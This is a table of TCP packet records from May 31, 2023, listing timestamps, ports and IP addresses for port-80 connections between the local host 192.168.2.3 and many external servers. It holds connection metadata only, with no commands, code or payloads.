May 31, 2023 14:50:52.848783970 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.848803043 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.848855972 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.848875046 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.848893881 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.848912001 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.848948956 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.848968983 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.848987103 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.849009991 CEST	50000	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:52.849014044 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.849035025 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.849055052 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.849081039 CEST	50000	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:52.849114895 CEST	50000	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:52.850018024 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.850064039 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.850106001 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.850176096 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.850198030 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.850240946 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.850265980 CEST	50000	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:52.850298882 CEST	50000	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:52.872538090 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.872586012 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.872606039 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.872626066 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.872644901 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.872663975 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.872685909 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.872715950 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.872859955 CEST	50000	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:52.872920990 CEST	50000	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:52.882638931 CEST	50000	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:52.889975071 CEST	80	49991	206.191.152.37	192.168.2.3
May 31, 2023 14:50:52.896631002 CEST	80	49995	89.161.163.246	192.168.2.3
May 31, 2023 14:50:52.896663904 CEST	80	49995	89.161.163.246	192.168.2.3
May 31, 2023 14:50:52.896684885 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.896852970 CEST	49995	80	192.168.2.3	89.161.163.246
May 31, 2023 14:50:52.902544022 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.941521883 CEST	80	49999	172.67.72.98	192.168.2.3
May 31, 2023 14:50:52.941553116 CEST	80	49999	172.67.72.98	192.168.2.3
May 31, 2023 14:50:52.941596985 CEST	49999	80	192.168.2.3	172.67.72.98
May 31, 2023 14:50:52.941725969 CEST	49999	80	192.168.2.3	172.67.72.98
May 31, 2023 14:50:52.989341021 CEST	80	49996	54.161.222.85	192.168.2.3
May 31, 2023 14:50:53.095021009 CEST	80	49813	69.163.239.62	192.168.2.3
May 31, 2023 14:50:53.095046043 CEST	49999	80	192.168.2.3	172.67.72.98
May 31, 2023 14:50:53.111722946 CEST	80	49999	172.67.72.98	192.168.2.3
May 31, 2023 14:50:53.197710991 CEST	50001	80	192.168.2.3	107.180.98.101
May 31, 2023 14:50:53.215084076 CEST	80	49850	147.154.0.23	192.168.2.3
May 31, 2023 14:50:53.220249891 CEST	49850	80	192.168.2.3	147.154.0.23
May 31, 2023 14:50:53.263385057 CEST	80	49999	172.67.72.98	192.168.2.3
May 31, 2023 14:50:53.263427019 CEST	80	49999	172.67.72.98	192.168.2.3
May 31, 2023 14:50:53.263618946 CEST	49999	80	192.168.2.3	172.67.72.98
May 31, 2023 14:50:53.263619900 CEST	49999	80	192.168.2.3	172.67.72.98
May 31, 2023 14:50:53.364453077 CEST	49723	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:53.366796970 CEST	49721	80	192.168.2.3	192.124.249.10
May 31, 2023 14:50:53.370898008 CEST	80	50001	107.180.98.101	192.168.2.3
May 31, 2023 14:50:53.371081114 CEST	50001	80	192.168.2.3	107.180.98.101
May 31, 2023 14:50:53.381239891 CEST	80	49723	188.114.96.7	192.168.2.3
May 31, 2023 14:50:53.381398916 CEST	49723	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:53.385891914 CEST	80	49721	192.124.249.10	192.168.2.3
May 31, 2023 14:50:53.386001110 CEST	49721	80	192.168.2.3	192.124.249.10
May 31, 2023 14:50:53.391427994 CEST	49727	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:53.391808987 CEST	50001	80	192.168.2.3	107.180.98.101
May 31, 2023 14:50:53.413973093 CEST	50002	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:53.414122105 CEST	49724	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:53.414979935 CEST	50003	80	192.168.2.3	192.124.249.10
May 31, 2023 14:50:53.430520058 CEST	80	50002	188.114.96.7	192.168.2.3
May 31, 2023 14:50:53.430676937 CEST	50002	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:53.434111118 CEST	80	50003	192.124.249.10	192.168.2.3
May 31, 2023 14:50:53.434225082 CEST	50003	80	192.168.2.3	192.124.249.10
May 31, 2023 14:50:53.447190046 CEST	49733	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:53.451940060 CEST	80	49724	135.181.73.98	192.168.2.3
May 31, 2023 14:50:53.462774038 CEST	50002	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:53.462827921 CEST	50004	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:53.462979078 CEST	50003	80	192.168.2.3	192.124.249.10
May 31, 2023 14:50:53.463619947 CEST	50005	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:53.464250088 CEST	50007	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:53.464255095 CEST	50006	80	192.168.2.3	193.166.255.171
May 31, 2023 14:50:53.468480110 CEST	49732	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:53.469875097 CEST	50008	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:53.471896887 CEST	49734	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:53.472678900 CEST	50009	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:53.475519896 CEST	80	49733	82.201.61.230	192.168.2.3
May 31, 2023 14:50:53.476686954 CEST	50010	80	192.168.2.3	210.140.73.39
May 31, 2023 14:50:53.481056929 CEST	80	50002	188.114.96.7	192.168.2.3
May 31, 2023 14:50:53.484210014 CEST	80	50003	192.124.249.10	192.168.2.3
May 31, 2023 14:50:53.484231949 CEST	80	50003	192.124.249.10	192.168.2.3
May 31, 2023 14:50:53.484515905 CEST	50003	80	192.168.2.3	192.124.249.10
May 31, 2023 14:50:53.493360996 CEST	80	50007	82.201.61.230	192.168.2.3
May 31, 2023 14:50:53.494059086 CEST	50007	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:53.500489950 CEST	80	50002	188.114.96.7	192.168.2.3
May 31, 2023 14:50:53.500586987 CEST	50002	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:53.503880978 CEST	80	50005	135.181.73.98	192.168.2.3
May 31, 2023 14:50:53.504184008 CEST	50005	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:53.508725882 CEST	80	49732	185.80.51.179	192.168.2.3
May 31, 2023 14:50:53.509287119 CEST	80	50008	185.80.51.179	192.168.2.3
May 31, 2023 14:50:53.509409904 CEST	50008	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:53.536598921 CEST	49976	80	192.168.2.3	137.118.26.67
May 31, 2023 14:50:53.564661980 CEST	80	50001	107.180.98.101	192.168.2.3
May 31, 2023 14:50:53.569427013 CEST	80	50001	107.180.98.101	192.168.2.3
May 31, 2023 14:50:53.569534063 CEST	50001	80	192.168.2.3	107.180.98.101
May 31, 2023 14:50:53.575208902 CEST	50001	80	192.168.2.3	107.180.98.101
May 31, 2023 14:50:53.611622095 CEST	50007	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:53.623586893 CEST	50005	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:53.623646975 CEST	50008	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:53.624114990 CEST	50003	80	192.168.2.3	192.124.249.10
May 31, 2023 14:50:53.639476061 CEST	80	50007	82.201.61.230	192.168.2.3
May 31, 2023 14:50:53.643508911 CEST	80	50003	192.124.249.10	192.168.2.3
May 31, 2023 14:50:53.643755913 CEST	50003	80	192.168.2.3	192.124.249.10
May 31, 2023 14:50:53.654802084 CEST	80	50007	82.201.61.230	192.168.2.3
May 31, 2023 14:50:53.654967070 CEST	50007	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:53.661724091 CEST	80	50005	135.181.73.98	192.168.2.3
May 31, 2023 14:50:53.662205935 CEST	80	50008	185.80.51.179	192.168.2.3
May 31, 2023 14:50:53.662240028 CEST	80	50005	135.181.73.98	192.168.2.3
May 31, 2023 14:50:53.662424088 CEST	50005	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:53.662923098 CEST	80	49727	202.254.236.40	192.168.2.3
May 31, 2023 14:50:53.663053036 CEST	80	50008	185.80.51.179	192.168.2.3
May 31, 2023 14:50:53.663945913 CEST	50008	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:53.706321955 CEST	50011	80	192.168.2.3	185.53.177.50
May 31, 2023 14:50:53.734731913 CEST	80	50011	185.53.177.50	192.168.2.3
May 31, 2023 14:50:53.735166073 CEST	50011	80	192.168.2.3	185.53.177.50
May 31, 2023 14:50:53.738363981 CEST	80	50004	202.254.236.40	192.168.2.3
May 31, 2023 14:50:53.740037918 CEST	50004	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:53.748128891 CEST	80	50001	107.180.98.101	192.168.2.3
May 31, 2023 14:50:53.760751963 CEST	80	50009	60.43.154.138	192.168.2.3
May 31, 2023 14:50:53.760934114 CEST	50009	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:53.762770891 CEST	80	50011	185.53.177.50	192.168.2.3
May 31, 2023 14:50:53.762886047 CEST	50011	80	192.168.2.3	185.53.177.50
May 31, 2023 14:50:53.769532919 CEST	80	49734	60.43.154.138	192.168.2.3
May 31, 2023 14:50:53.769653082 CEST	49831	80	192.168.2.3	104.21.55.224
May 31, 2023 14:50:53.771178007 CEST	50004	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:53.773300886 CEST	50009	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:53.774437904 CEST	50012	80	192.168.2.3	104.21.55.224
May 31, 2023 14:50:53.786354065 CEST	80	49831	104.21.55.224	192.168.2.3
May 31, 2023 14:50:53.786468983 CEST	49831	80	192.168.2.3	104.21.55.224
May 31, 2023 14:50:53.790342093 CEST	80	50011	185.53.177.50	192.168.2.3
May 31, 2023 14:50:53.790874004 CEST	80	50012	104.21.55.224	192.168.2.3
May 31, 2023 14:50:53.791043997 CEST	50012	80	192.168.2.3	104.21.55.224
May 31, 2023 14:50:53.797326088 CEST	50007	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:53.797365904 CEST	50008	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:53.803853989 CEST	50005	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:53.805898905 CEST	50012	80	192.168.2.3	104.21.55.224
May 31, 2023 14:50:53.822402954 CEST	80	50012	104.21.55.224	192.168.2.3
May 31, 2023 14:50:53.828300953 CEST	49728	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:53.830595970 CEST	50013	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:53.832410097 CEST	80	50012	104.21.55.224	192.168.2.3
May 31, 2023 14:50:53.832504988 CEST	50012	80	192.168.2.3	104.21.55.224
May 31, 2023 14:50:53.837277889 CEST	80	50008	185.80.51.179	192.168.2.3
May 31, 2023 14:50:53.837457895 CEST	50008	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:53.840547085 CEST	80	50007	82.201.61.230	192.168.2.3
May 31, 2023 14:50:53.842035055 CEST	50007	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:53.842623949 CEST	80	50005	135.181.73.98	192.168.2.3
May 31, 2023 14:50:53.842691898 CEST	50005	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:53.844424009 CEST	49978	80	192.168.2.3	64.125.133.18
May 31, 2023 14:50:53.845004082 CEST	80	49728	188.114.96.7	192.168.2.3
May 31, 2023 14:50:53.845067024 CEST	49728	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:53.847131014 CEST	80	50013	188.114.96.7	192.168.2.3
May 31, 2023 14:50:53.847294092 CEST	50013	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:53.994340897 CEST	49729	80	192.168.2.3	188.165.133.163
May 31, 2023 14:50:54.009809017 CEST	80	50011	185.53.177.50	192.168.2.3
May 31, 2023 14:50:54.009865046 CEST	80	50011	185.53.177.50	192.168.2.3
May 31, 2023 14:50:54.009891987 CEST	80	50011	185.53.177.50	192.168.2.3
May 31, 2023 14:50:54.009912968 CEST	80	50011	185.53.177.50	192.168.2.3
May 31, 2023 14:50:54.009958029 CEST	50011	80	192.168.2.3	185.53.177.50
May 31, 2023 14:50:54.009999990 CEST	50011	80	192.168.2.3	185.53.177.50
May 31, 2023 14:50:54.014189005 CEST	80	49729	188.165.133.163	192.168.2.3
May 31, 2023 14:50:54.014353991 CEST	49729	80	192.168.2.3	188.165.133.163
May 31, 2023 14:50:54.046072960 CEST	80	50004	202.254.236.40	192.168.2.3
May 31, 2023 14:50:54.047204018 CEST	80	50004	202.254.236.40	192.168.2.3
May 31, 2023 14:50:54.047347069 CEST	50004	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:54.052057028 CEST	50013	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:54.058562994 CEST	80	50009	60.43.154.138	192.168.2.3
May 31, 2023 14:50:54.059556961 CEST	80	50009	60.43.154.138	192.168.2.3
May 31, 2023 14:50:54.059643030 CEST	50009	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:54.068624973 CEST	80	50013	188.114.96.7	192.168.2.3
May 31, 2023 14:50:54.129292011 CEST	50004	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:54.129527092 CEST	50014	80	192.168.2.3	188.165.133.163
May 31, 2023 14:50:54.149532080 CEST	80	50014	188.165.133.163	192.168.2.3
May 31, 2023 14:50:54.149733067 CEST	50014	80	192.168.2.3	188.165.133.163
May 31, 2023 14:50:54.175563097 CEST	50009	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:54.196259022 CEST	50014	80	192.168.2.3	188.165.133.163
May 31, 2023 14:50:54.216180086 CEST	80	50014	188.165.133.163	192.168.2.3
May 31, 2023 14:50:54.216207027 CEST	80	50014	188.165.133.163	192.168.2.3
May 31, 2023 14:50:54.216356993 CEST	50014	80	192.168.2.3	188.165.133.163
May 31, 2023 14:50:54.219346046 CEST	49737	80	192.168.2.3	46.242.238.60
May 31, 2023 14:50:54.220165968 CEST	49836	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:54.249975920 CEST	80	49737	46.242.238.60	192.168.2.3
May 31, 2023 14:50:54.250195980 CEST	49737	80	192.168.2.3	46.242.238.60
May 31, 2023 14:50:54.287184954 CEST	80	50013	188.114.96.7	192.168.2.3
May 31, 2023 14:50:54.287225962 CEST	80	50013	188.114.96.7	192.168.2.3
May 31, 2023 14:50:54.287431955 CEST	50013	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:54.297108889 CEST	50015	80	192.168.2.3	46.242.238.60
May 31, 2023 14:50:54.297590971 CEST	50016	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:54.297660112 CEST	50017	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:54.326734066 CEST	49739	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:54.327100992 CEST	50014	80	192.168.2.3	188.165.133.163
May 31, 2023 14:50:54.327366114 CEST	80	50015	46.242.238.60	192.168.2.3
May 31, 2023 14:50:54.327514887 CEST	50015	80	192.168.2.3	46.242.238.60
May 31, 2023 14:50:54.327974081 CEST	50019	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:54.328425884 CEST	50015	80	192.168.2.3	46.242.238.60
May 31, 2023 14:50:54.330368996 CEST	50013	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:54.346869946 CEST	80	50013	188.114.96.7	192.168.2.3
May 31, 2023 14:50:54.346904039 CEST	80	50014	188.165.133.163	192.168.2.3
May 31, 2023 14:50:54.347032070 CEST	50014	80	192.168.2.3	188.165.133.163
May 31, 2023 14:50:54.358746052 CEST	80	50015	46.242.238.60	192.168.2.3
May 31, 2023 14:50:54.359918118 CEST	80	50015	46.242.238.60	192.168.2.3
May 31, 2023 14:50:54.360116959 CEST	50015	80	192.168.2.3	46.242.238.60
May 31, 2023 14:50:54.363475084 CEST	80	49739	81.2.194.241	192.168.2.3
May 31, 2023 14:50:54.364537954 CEST	80	50019	81.2.194.241	192.168.2.3
May 31, 2023 14:50:54.364671946 CEST	50019	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:54.386554956 CEST	80	49836	69.163.239.62	192.168.2.3
May 31, 2023 14:50:54.391669989 CEST	50019	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:54.404788017 CEST	80	50004	202.254.236.40	192.168.2.3
May 31, 2023 14:50:54.405385017 CEST	50004	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:54.428431034 CEST	80	50019	81.2.194.241	192.168.2.3
May 31, 2023 14:50:54.443468094 CEST	80	50017	52.71.57.184	192.168.2.3
May 31, 2023 14:50:54.443665981 CEST	50017	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:54.454668999 CEST	80	50013	188.114.96.7	192.168.2.3
May 31, 2023 14:50:54.454705954 CEST	80	50013	188.114.96.7	192.168.2.3
May 31, 2023 14:50:54.454852104 CEST	50013	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:54.456211090 CEST	80	50019	81.2.194.241	192.168.2.3
May 31, 2023 14:50:54.456332922 CEST	50019	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:54.461837053 CEST	80	50009	60.43.154.138	192.168.2.3
May 31, 2023 14:50:54.463139057 CEST	50009	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:54.463865042 CEST	80	50016	69.163.239.62	192.168.2.3
May 31, 2023 14:50:54.464129925 CEST	50016	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:54.582145929 CEST	50017	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:54.640855074 CEST	50016	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:54.681775093 CEST	50019	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:54.727513075 CEST	80	50017	52.71.57.184	192.168.2.3
May 31, 2023 14:50:54.727555990 CEST	80	50017	52.71.57.184	192.168.2.3
May 31, 2023 14:50:54.727720976 CEST	50017	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:54.741955042 CEST	50017	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:54.744843006 CEST	80	50019	81.2.194.241	192.168.2.3
May 31, 2023 14:50:54.744991064 CEST	50019	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:54.796726942 CEST	50020	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:54.807378054 CEST	80	50016	69.163.239.62	192.168.2.3
May 31, 2023 14:50:54.807763100 CEST	80	50016	69.163.239.62	192.168.2.3
May 31, 2023 14:50:54.807876110 CEST	50016	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:54.840472937 CEST	80	50007	82.201.61.230	192.168.2.3
May 31, 2023 14:50:54.842247009 CEST	50007	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:54.848084927 CEST	49735	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:54.860430002 CEST	50016	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:54.861867905 CEST	50021	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:54.862071037 CEST	50022	80	192.168.2.3	51.79.51.72
May 31, 2023 14:50:54.887274981 CEST	80	50017	52.71.57.184	192.168.2.3
May 31, 2023 14:50:54.936449051 CEST	80	49964	69.163.239.62	192.168.2.3
May 31, 2023 14:50:54.938342094 CEST	49964	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:54.943090916 CEST	80	50020	52.71.57.184	192.168.2.3
May 31, 2023 14:50:54.943294048 CEST	50020	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:54.953022003 CEST	50020	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:54.965188026 CEST	80	50022	51.79.51.72	192.168.2.3
May 31, 2023 14:50:54.965317011 CEST	50022	80	192.168.2.3	51.79.51.72
May 31, 2023 14:50:54.967294931 CEST	50022	80	192.168.2.3	51.79.51.72
May 31, 2023 14:50:54.974096060 CEST	80	49735	108.167.164.216	192.168.2.3
May 31, 2023 14:50:54.974849939 CEST	49741	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:54.976191044 CEST	50023	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:54.987752914 CEST	80	50021	108.167.164.216	192.168.2.3
May 31, 2023 14:50:54.987921000 CEST	50021	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:54.990371943 CEST	50021	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:54.991513968 CEST	80	49741	172.67.165.62	192.168.2.3
May 31, 2023 14:50:54.991622925 CEST	49741	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:54.992914915 CEST	80	50023	172.67.165.62	192.168.2.3
May 31, 2023 14:50:54.993055105 CEST	50023	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:54.993619919 CEST	50023	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:54.994169950 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:54.995037079 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.010369062 CEST	80	50023	172.67.165.62	192.168.2.3
May 31, 2023 14:50:55.010909081 CEST	80	49743	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.011023998 CEST	49743	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.011755943 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.011892080 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.012428999 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.026916981 CEST	80	50016	69.163.239.62	192.168.2.3
May 31, 2023 14:50:55.027101040 CEST	80	50016	69.163.239.62	192.168.2.3
May 31, 2023 14:50:55.027203083 CEST	50016	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:55.028985977 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.064445019 CEST	80	50023	172.67.165.62	192.168.2.3
May 31, 2023 14:50:55.064485073 CEST	80	50023	172.67.165.62	192.168.2.3
May 31, 2023 14:50:55.064501047 CEST	80	50023	172.67.165.62	192.168.2.3
May 31, 2023 14:50:55.064651012 CEST	50023	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:55.070560932 CEST	80	50022	51.79.51.72	192.168.2.3
May 31, 2023 14:50:55.070590019 CEST	80	50022	51.79.51.72	192.168.2.3
May 31, 2023 14:50:55.070677042 CEST	50022	80	192.168.2.3	51.79.51.72
May 31, 2023 14:50:55.073213100 CEST	50022	80	192.168.2.3	51.79.51.72
May 31, 2023 14:50:55.098679066 CEST	80	50020	52.71.57.184	192.168.2.3
May 31, 2023 14:50:55.098721981 CEST	80	50020	52.71.57.184	192.168.2.3
May 31, 2023 14:50:55.098848104 CEST	50020	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:55.115868092 CEST	80	50021	108.167.164.216	192.168.2.3
May 31, 2023 14:50:55.122306108 CEST	80	50021	108.167.164.216	192.168.2.3
May 31, 2023 14:50:55.122483015 CEST	50021	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:55.141145945 CEST	50020	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:55.176449060 CEST	80	50022	51.79.51.72	192.168.2.3
May 31, 2023 14:50:55.285190105 CEST	80	49971	80.93.82.33	192.168.2.3
May 31, 2023 14:50:55.285414934 CEST	49971	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:55.288227081 CEST	80	50020	52.71.57.184	192.168.2.3
May 31, 2023 14:50:55.304300070 CEST	50021	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:55.309086084 CEST	50025	80	192.168.2.3	39.99.233.155
May 31, 2023 14:50:55.375627995 CEST	49845	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:55.382669926 CEST	50026	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:55.382716894 CEST	50027	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:55.386807919 CEST	49745	80	192.168.2.3	195.78.66.50
May 31, 2023 14:50:55.387423992 CEST	49742	80	192.168.2.3	217.19.237.54
May 31, 2023 14:50:55.388581991 CEST	50028	80	192.168.2.3	195.78.66.50
May 31, 2023 14:50:55.388837099 CEST	50029	80	192.168.2.3	217.19.237.54
May 31, 2023 14:50:55.411266088 CEST	80	49742	217.19.237.54	192.168.2.3
May 31, 2023 14:50:55.412381887 CEST	80	50029	217.19.237.54	192.168.2.3
May 31, 2023 14:50:55.412519932 CEST	50029	80	192.168.2.3	217.19.237.54
May 31, 2023 14:50:55.412981033 CEST	50029	80	192.168.2.3	217.19.237.54
May 31, 2023 14:50:55.432286024 CEST	80	49745	195.78.66.50	192.168.2.3
May 31, 2023 14:50:55.433835983 CEST	80	50028	195.78.66.50	192.168.2.3
May 31, 2023 14:50:55.434039116 CEST	50028	80	192.168.2.3	195.78.66.50
May 31, 2023 14:50:55.434634924 CEST	50028	80	192.168.2.3	195.78.66.50
May 31, 2023 14:50:55.435905933 CEST	80	50021	108.167.164.216	192.168.2.3
May 31, 2023 14:50:55.436055899 CEST	50021	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:55.436419010 CEST	80	50029	217.19.237.54	192.168.2.3
May 31, 2023 14:50:55.437511921 CEST	80	50029	217.19.237.54	192.168.2.3
May 31, 2023 14:50:55.437614918 CEST	50029	80	192.168.2.3	217.19.237.54
May 31, 2023 14:50:55.479938030 CEST	80	50028	195.78.66.50	192.168.2.3
May 31, 2023 14:50:55.482563972 CEST	80	50028	195.78.66.50	192.168.2.3
May 31, 2023 14:50:55.482738972 CEST	50028	80	192.168.2.3	195.78.66.50
May 31, 2023 14:50:55.502927065 CEST	80	49845	72.44.93.236	192.168.2.3
May 31, 2023 14:50:55.510077000 CEST	80	50026	72.44.93.236	192.168.2.3
May 31, 2023 14:50:55.510282040 CEST	50026	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:55.538378000 CEST	80	50027	3.18.7.81	192.168.2.3
May 31, 2023 14:50:55.538574934 CEST	50027	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:55.562525034 CEST	80	49974	72.44.93.236	192.168.2.3
May 31, 2023 14:50:55.562689066 CEST	49974	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:55.587760925 CEST	50026	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:55.588119984 CEST	50027	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:55.624200106 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.624233961 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.624283075 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.624300003 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.624309063 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.624331951 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.624342918 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.624356985 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.624382019 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.624385118 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.624404907 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.624407053 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.624428034 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.624439955 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.624453068 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.624475002 CEST	50024	80	192.168.2.3	104.21.66.46
